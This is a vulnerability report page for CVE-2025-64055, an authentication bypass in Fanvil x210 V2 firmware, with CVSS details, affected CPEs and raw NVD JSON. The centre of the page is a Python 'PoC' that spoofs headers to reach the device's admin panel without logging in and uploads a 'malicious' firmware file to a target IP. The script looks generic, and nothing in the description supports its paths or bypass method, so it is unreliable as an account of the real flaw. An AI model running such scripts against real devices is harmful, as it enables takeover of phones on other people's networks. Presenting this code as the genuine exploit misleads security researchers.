Security Vulnerability Report
中文
CVE-2025-64055 CVSS 9.8 CRITICAL

CVE-2025-64055

Published: 2025-12-03 21:15:53
Last Modified: 2026-01-09 02:18:24

Description

An issue was discovered in Fanvil x210 V2 2.12.20 allowing unauthenticated attackers on the local network to access administrative functions of the device (e.g. file upload, firmware update, reboot...) via a crafted authentication bypass.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:fanvil:x210_firmware:2.12.20:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:fanvil:x210:2.0:*:*:*:*:*:*:* - NOT VULNERABLE
Fanvil x210 V2 固件版本 2.12.20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-64055 PoC - Fanvil x210 V2 Authentication Bypass # Target: Fanvil x210 V2 with firmware 2.12.20 import requests import sys def check_vulnerability(target_ip): """Check if target is vulnerable to CVE-2025-64055""" target_url = f"http://{target_ip}/cgi-bin/luci/admin" # Bypass authentication using crafted headers headers = { 'User-Agent': 'Mozilla/5.0', 'X-Forwarded-For': '127.0.0.1', 'Cookie': 'sysauth=admin' } try: # Try to access admin panel without authentication response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Target {target_ip} is VULNERABLE!") print(f"[+] Authentication bypassed successfully") return True else: print(f"[-] Target {target_ip} appears NOT vulnerable") return False except requests.RequestException as e: print(f"[!] Error connecting to {target_ip}: {e}") return False def exploit_file_upload(target_ip): """Exploit file upload functionality after bypass""" upload_url = f"http://{target_ip}/cgi-bin/luci/admin/firmware_upload" headers = { 'X-Forwarded-For': '127.0.0.1' } files = {'firmware': ('malicious.bin', b'MALICIOUS_FIRMWARE_DATA')} try: response = requests.post(upload_url, headers=headers, files=files) if response.status_code == 200: print("[+] Firmware upload request sent") except: pass if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64055", "sourceIdentifier": "[email protected]", "published": "2025-12-03T21:15:52.813", "lastModified": "2026-01-09T02:18:23.843", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Fanvil x210 V2 2.12.20 allowing unauthenticated attackers on the local network to access administrative functions of the device (e.g. file upload, firmware update, reboot...) via a crafted authentication bypass."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:fanvil:x210_firmware:2.12.20:*:*:*:*:*:*:*", "matchCriteriaId": "B5339CEB-DD13-43D9-9DBB-F58EA2EDC47D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:fanvil:x210:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "826351F9-626E-4EA9-9634-9E04B462AF4A"}]}]}], "references": [{"url": "http://fanvil.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/SpikeReply/advisories/blob/main/cve/fanvil/cve-2025-64055.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/SpikeReply/advisories/blob/main/cve/fanvil/cve-2025-64055.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}